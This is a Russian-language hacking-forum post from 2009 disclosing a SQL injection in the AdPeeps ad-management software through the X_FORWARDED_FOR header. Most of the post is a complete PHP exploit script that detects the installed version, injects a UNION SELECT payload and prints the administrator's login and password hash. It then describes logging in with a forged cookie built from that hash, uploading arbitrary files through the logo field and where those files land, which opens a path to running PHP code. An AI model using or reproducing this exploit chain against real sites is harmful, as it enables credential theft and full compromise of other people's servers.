AdPeeps sql инъекция, выполнение php кода

Discussion in 'Веб-уязвимости' started by (Dm), 15 Sep 2009.

  1. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    >> Сайт: http://adpeeps.com/
    >> Уязвимые версии: 8.5d2d(последняя), 8.5d2c, 8.5d1, возможно и другие.

    >> Уязвимость в файле adpeeps.php, не проверяются HTTP заголовок X_FORWARDED_FOR на наличие опасных символов, но участвует в sql запросах.

    Вот пример сплойта, который получает логин и хеш админа.
    PHP:
    #!/usr/bin/php

    <?
    //title: Advertisement Management Control Panel
    if ($argc 2)
        die(
    $argv[0]." <host> <path> [<version>]\n");

    $host $argv[1];
    $path $argv[2];
    $ver  = @$argv[3];

    $delimiter "_".substr(md5(rand()),0,5)."_";
    $sql "concat('".$delimiter."',(SELECT concat(authname,':',authpasscode) FROM adpeeps_auth WHERE campaignid=0 LIMIT 1),'".$delimiter."')";


    function 
    SendQuery ($host$query) {
        GLOBAL 
    $delimiter;
        
    $buff '';

        
    $fp fsockopen($host80$errno$errstr10);
        if (!
    $fp) {
               echo 
    "$errstr ($errno)<br />\n";
            exit;
        } else {
                
    fwrite($fp$query);
                while (!
    feof($fp))
                    
    $buff .= fgets($fp128);
        
                
    fclose($fp);
        }
        
    $result explode($delimiter$buff);
        return 
    $result[1];
    }

    //Определяем версию
    if (empty($ver)) {
        
    $ver trim(@file_get_contents("http://".$host.$path."version.txt"));
        if (empty(
    $ver)) die("Can't define the version\n");
        echo 
    "Current version: ".$ver."\n\n";
    }


    //Выбираем эксплоит
    if ($ver == "8.5d2d" || $ver == "8.5d2c") {
        
    $ip "X_FORWARDED_FOR:' LEFT JOIN adpeeps_settings AS settings ON 1=2 LEFT JOIN adpeeps_iptocountry AS geo ON 1=2 WHERE 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,".$sql.",14,15,16,17,18,19,20,21,22,23 #";
    } elseif (
    $ver == "8.5d1") {
        
    $ip .= "X_FORWARDED_FOR:' WHERE 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,".$sql.",14,15,16,17,18,19,20 #";
    } else {
        die(
    "Can't find exploit for version ".$ver."\n");
    }

    //Получаем логин и хеш админа
    $query "GET ".$path."adpeeps.php?bfunction=showad&btype=2 HTTP/1.1\r\n";
    $query.= "Host: ".$host."\r\n";
    $query.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
    $query.= "Connection: close\r\n";
    $query.= $ip."\r\n\r\n";

    echo 
    "~> Admin auth info: \n";
    $result SendQuery($host$query);
    if (empty(
    $result)) 
        die(
    "Exploit failed\n");

    //$authkey = md5($loginname.$loginpassword);
    echo $result."\n\n";

    ?>
    >> Вход в админку через cookie:
    + ADPEEPSAUTH=логин:хеш:0

    >> Загрузка произвольных файлов в админке по адресу http://site/index.php?loc=define_settings&uid=100000 , поле "Upload your own logo"

    После загрузки файла он будет находится:
    + для версии 8.5d2d по адресу http://site/uploaded_banners/100000_logo_имяфайла
    + для версии 8.5d1 по адресу http://site/uploaded_banners/имяфайла
     
    6 people like this.